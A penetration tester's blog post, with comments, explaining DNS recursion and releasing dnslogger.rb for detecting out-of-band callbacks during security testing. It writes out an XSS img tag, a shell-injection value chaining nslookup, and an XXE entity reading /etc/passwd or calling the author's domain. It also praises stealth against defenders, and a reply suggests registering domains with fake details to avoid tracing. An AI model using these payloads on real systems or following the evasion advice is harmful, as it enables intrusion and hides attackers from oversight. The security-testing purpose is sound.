Why DNS is awesome and why you should love it

It's no secret that I love DNS. It's an awesome protocol. It's easy to understand and easy to implement. It's also easy to get dangerously wrong, but that's a story for last weeka few weeks ago. :)

I want to talk about interesting implication of DNS's design decisions that benefit us, as penetration testers. It's difficult to describe these decisions as good or bad, it's just what we have to work with.

What I DON'T want to talk about today is DNS poisoning or spoofing, or similar vulnerabilities. While cool, it generally requires the attacker to take advantage of poorly configured or vulnerable DNS servers.

Technically, I'm also releasing a tool I wrote a couple weeks ago: dnslogger.rb that replaces an old tool I wrote a million years ago.

Recursive? Authoritative? Wut?

As always, I'll start with some introduction to how DNS works. If you already know DNS, you can go ahead and skip to the next section.

DNS is recursive. That means that if you ask a server about a domain it doesn't know about (that is, a domain that isn't cached or a domain that the server isn't the authority for), it'll either pass it upstream to another DNS server (recursive) or tell you where to go for the answer (non-recursive). As always, we'll focus on recursive DNS servers - they're the fun ones!

If no interim DNS server has the entry cached, the request will eventually make it all the way to the authoritative server for the domain. For example, the authoritative server for *.skullseclabs.org is 206.220.196.59 - my server (and hopefully the server you're reading this on :) ). That is, any request that ends with skullseclabs.org - and that isn't cached - will eventually go to my server. See the next section for information on how to set up your own authoritative DNS server.

Let's look at a typical setup. You're on your home network. Your router's ip address is probably the usual 192.168.1.1, and is plugged into a cable modem. When you connect your laptop to your network, DHCP (aka, magic) happens, and your DNS server probably gets set to 192.168.1.1 (unless you've manually configured it to 8.8.8.8, which you should). When your router connects to your cable modem, more DHCP (aka, more magic) happens, and its DNS server set to the ISP's DNS server.

When you do a lookup, like "dig hello.skullseclabs.org", your computer sends a DNS request to 192.168.1.1 saying "who is hello.skullseclabs.org"? Obviously, your router has no idea - he's just a stupid Linksys or whatever - so he has to forward the request to the ISP's DNS server.

The ISP's DNS server gets the request, and it has no idea what to do with it either. It certainly doesn't know who "hello.skullseclabs.org" is, so it's gonna forward the request to its DNS server, whatever that happens to be. Or it might tell the router where to look for a non-recursive query. Since at this point it's out of our hands, it doesn't really matter.

Eventually, some DNS server along the way is going to say "hey, why don't we just go to the source?", and through a process that leading scientists believe is magic (there's a lot of magic in DNS :) ), it will look up the authoritative server for skullseclabs.org, discover it's 206.220.196.59, and send the request there.

My server will see the request, and, assuming something is listening on UDP port 53, have the opportunity to respond.

The response can be any IP address for an A (IP) or AAAA (IPv6) request; a name for a CNAME (alias) or MX (mail) request; or any ol' text for a TXT request. It can also be NXDomain - "domain not found" - or various error messages (like "servfail").

One of the cool things is that even if we return "domain not found", we still see that a request happened, even if the person doing the lookup sees that it failed! We'll see some examples of why that's cool shortly.

How do I get an authoritative server?

The sad part is, getting an authoritative server isn't free. You have to buy a domain, which is on the order of $10 / year, give or take.

Beyond that, it's just a configuration thing. I don't want to spend a ton of time talking about it here, so check out this guide, written by Irvin Zhan for instructions to do it on Namecheap.

I personally did it on Godaddy. It took some time to figure out, though, so prepare for a headache! But trust me: it's worth it.

The set up

We'll use skullseclabs.org - my test domain - for the remainder of this. Obviously, if you want to do this yourself, you'll need to replace that with whatever domain you registered. We'll also use dnslogger.rb, which you'll get if you clone dnscat2's repository.

Getting dnslogger.rb to work is mostly easy, but permissions can be a problem. To listen on UDP/53, it has to run as root. It also needs the "rubydns" gem installed in a place where it can be found. That can be a little annoying, so I apologize if it's a pain. "rvmsudo" may help.

If anybody out there is familiar with how to properly package Ruby programs, I'd love to chat! I'm making this up as I go along :)

What does DNS look like?

All right, let's mess around!

I'll start by having no DNS server running at all on skullseclabs.org - basically, the base state. From another host, if you try to ping it, you'll see this:

$ ping noserver.skullseclabs.org
Ping request could not find host noserver.skullseclabs.org. Please check the name and try again.

Conclusion? It's down. If you were investigating an incident and you saw that message, you'd conclude that there's nothing there, right? Probably?

Let's fire up dnslogger.rb:

$ sudo ruby ./dnslogger.rb
dnslogger v1.0.0 is starting!

Starting dnslogger DNS server on 0.0.0.0:53

Then do the same ping (with a different domain, because caching can screw you up):

$ ping yesserver.skullseclabs.org
Ping request could not find host yesserver.skullseclabs.org. Please check the name and try again.

It's the exact. Same. Response. The only difference is, on the DNS server, we see this:

$ sudo ruby ./dnslogger.rb
dnslogger v1.0.0 is starting!

Starting dnslogger DNS server on 0.0.0.0:53
Got a request for yesserver.skullseclabs.org [type = A], responding with NXDomain

What's this? We saw the request! Even if the person doing the lookup thought it failed, it didn't: WE KNOW.

That's really cool, because it's a really, really stealthy way to find out if somebody is looking you up. If you do a reverse DNS lookup for 206.220.196.59, you'll see:

$ dig -x 206.220.196.59
[...]
;; ANSWER SECTION:
59.196.220.206.in-addr.arpa. 3567 IN    PTR     test.skullseclabs.org.

And if you look up the forward record:

$ dig test.skullseclabs.org
[...]
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 57980
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

NXDOMAIN = "no such domain". Totally stealth!

Why is it so awesome?

Let's say you're testing for cross-site scripting on a site. Post <img src="pagenamegoeshere.skullseclabs.org" /> everywhere. If you later see a request like "adminpage.skullseclabs.org" come in, then guess what? You found some stored XSS on their admin page!

Let's say you're looking for shell injection. Normally, you do something like "vulnerablesite.com/query?q=myquery||ping -c5 localhost". If it takes 5 seconds, it's probably vulnerable to XSSshell command injection [thanks albinowax!]. That's lame. Instead, do a query for "myquery||nslookup pagename.skullseclabs.org". If you see the query, it's definitely vulnerable. If you don't, it's almost certainly not.

Let's say you're looking for XXE. Normally, you'd stick something like "<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>" into the XML. That works great - IF it returns the data. If it doesn't, you see nothing, and it probably failed. Probably. But if you change the "file:///" URL to "http://somethingunique.skullseclabs.org", you'll see the request in your DNS logs, and you can confirm it's vulnerable!

Let's say you're wondering if a system is executing a binary you're sending across the network. Create a binary that attempts to connect to binaryname.skullseclabs.org. You'll instantly know if anybody attempted to run it, and in their logs they'll see nothing more than a failed DNS lookup. As far as they know, nothing happened!

The coolest thing is, if you're responding with NXDomain, then as far as the client or IDS/IPS/Wireshark/etc. knows, the domain doesn't exist and the connection doesn't happen. Nothing even attempts to connect - it doesn't even send a SYN. How could it? It just looks at the domain and "NOPES" right outta there.

If some poor server admin has to figure out what's happening, what's s/he going to see? A request to a domain which, if they ping, doesn't exist. At that point, they give up and declare it a false positive. What else can they do, really?

There are so many applications. Looking for SQL injection? Use a command that does a DNS lookup (I don't know enough about SQL to do this). Looking for a RFI vuln? Try to include a file from your domain. Wondering if a company will try emailing you without risking getting an email (I'm sure I can come up with a scenario)? Give them "thisisfake@fakeemail.skullseclabs.org" as your email address. If I try to email that from gmail, it fails pretty much instantly:

Delivery to the following recipient failed permanently:

     thisisfake@fakeemail.skullseclabs.org

Technical details of permanent failure:
DNS Error: Address resolution of fakeemail.skullseclabs.org. failed: Domain name not found

But I still see that they tried:

$ sudo ruby ./dnslogger.rb
dnslogger v1.0.0 is starting!

Starting dnslogger DNS server on 0.0.0.0:53
Got a request for fakeemail.skullseclabs.org [type = MX], responding with NXDomain
Got a request for fakeemail.skullseclabs.org [type = MX], responding with NXDomain
Got a request for fakeemail.skullseclabs.org [type = AAAA], responding with NXDomain
Got a request for fakeemail.skullseclabs.org [type = A], responding with NXDomain

I see the attempt, but neither gmail nor the original sender can tell that apart from a misspelled domain - because it's identical in every way!

(I'm mildly curious why it does a AAAA/A lookup - maybe somebody can look into that)

Returning addresses

dnslogger.rb can return more than just NXDomain - it can return actual domains! If you start dnslogger.rb with a --A argument:

$ sudo ruby ./dnslogger.rb --A "8.8.8.8"

Then it'll return that ip address for every A request for any domain:

$ ping arecord.skullseclabs.org

Pinging arecord.skullseclabs.org [8.8.8.8] with 32 bytes of data:
Reply from 8.8.8.8: bytes=32 time=85ms TTL=44
Reply from 8.8.8.8: bytes=32 time=80ms TTL=44
Reply from 8.8.8.8: bytes=32 time=73ms TTL=44
Reply from 8.8.8.8: bytes=32 time=90ms TTL=44

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 73ms, Maximum = 90ms, Average = 82ms

If you do a lookup directly to the server, you can use any domain:

$ dig @206.220.196.59 google.com
[...]
;; ANSWER SECTION:
google.com.             86400   IN      A       8.8.8.8

In the past, I've found a DNS server that always returns the same thing to be useful for analyzing malware (also database software, which can often be considered the same thing). In particular, setting a system's DNS server to the IP of a dnslogger.rb instance, then returning 127.0.0.1 for all A records and ::1 for all AAAA records, can be a great way to analyze malware without letting it connect outbound to any domains (it will, of course, be able to connect outbound if it uses an ip address instead of a domain name):

$ sudo ruby ./dnslogger.rb --A "127.0.0.1" --AAAA "::1"

What else can you do?

Well, I mean, if you have an authoritative DNS server, you can have a command-and-control channel over DNS. I'm not going to dwell on that, but I've written about it in the past :).

Conclusion

The entire point of this post is that: it's possible to tell if somebody is trying to connect to you (either as a TCP connection, sending an email, pinging you, etc) without them knowing that you know.

And the coolest part of all this? It's totally invisible. As far as anybody can tell, the connection fails and that's all they know.

Isn't DNS awesome?

16 thoughts on “Why DNS is awesome and why you should love it

  1. Reply

    datenpunk

    (I'm mildly curious why it does a AAAA/A lookup - maybe somebody can look into that)

    Here you go: https://en.wikipedia.org/wiki/MX_record#History_of_fallback_to_address_record

  2. Reply

    JP

    The mail system does an AAAA/A lookup because if there is no MX for a host the protocol falls back to trying to deliver directly to the host. Back in the day mail quite often went to a specific machine not a domain. Sometimes it was even routed that way user%host.domain@otherhost.domain

    Bonus points for anybody who remember inhp4, mcvax and seismo

  3. Reply

    Philip Woolford

    Regarding the AAAA/A record lookup, that's a fallback mechanism built into the SMTP standard.

    See RFC 5321 ยง5.1: Locating the Target Host

    If an empty list of MXs is returned, the address is treated as if it was associated with an implicit MX RR, with a preference of 0, pointing to that host.

  4. Reply

    Wolfgang Kandek

    Excellent tool, looks very useful. Will test it this week.

    Regarding MX/AAAA/A it is in SMTP RFC 2821: "If no MX records are found, but an A RR is found, the A RR is treated as if it was associated with an implicit MX RR, with a preference of 0, pointing to that host."

  5. Reply

    Timo

    According to RFC 974, an empty MX record list implies that the domain name itself is the host name for the mail exchange. This is why the MX lookup failure is followed by a AAAA/A lookup.

  6. Reply

    Michael

    >I'm mildly curious why it does a AAAA/A lookup - maybe somebody can look into that

    The SMTP RFC specifies that if there is no MX record, delivery is to be attempted to the host itself.

  7. Reply

    albinowax

    Good stuff. This is pretty much exactly what we're automating with Burp Collaborator.

    If it takes 5 seconds, it's probably vulnerable to XSS.

    I think you mean OS command injection?

    1. Reply

      Ron Bowes Post author

      Derp, yes, thanks. :)

      That's awesome about automating it! When burp thinks it finds command injection, doing something with DNS is the first thing I always try :)

      1. Reply

        Ron Bowes Post author

        I need to fire my editor.

        Or, better yet, hire one. :)

  8. Reply

    Anonymous

    Ok, I must agree that after reading this article, I think DNS is pretty awesome too!!

  9. Reply

    cynicXer

    "$ sudy ruby ./dnslogger.rb --A "8.8.8.8""

    I'm relatively certain you meant "sudo".

  10. Reply

    Sergey Belov

    https://thesprawl.org/projects/dnschef/ released a long time ago.

    1. Reply

      Ron Bowes Post author

      Yeah, I don't pretend this was something new. It's just really, really simple code that I figured would be handy. :)

  11. Reply

    John

    Wow, i didn't actually know you could do this much with DNS. time to try this out me thinks.

  12. Reply

    Pypy

    Correct me if I'm wrong but if an IT guy wanted to look into the DNS lookup, wouldn't he be able to find the details you provided to the registrar? So you'd have to lie to them to remain anonymous and make up something that doesn't look suspicious.

    1. Reply

      Ron Bowes Post author

      @Pypy: Yeah, it could be traced back, assuming they know that they should. The idea is that it blends in enough that they wouldn't see it.

      If you need to be REALLY careful, you could register the domain with a pre-paid card and fake details.

Leave a Reply

Your email address will not be published.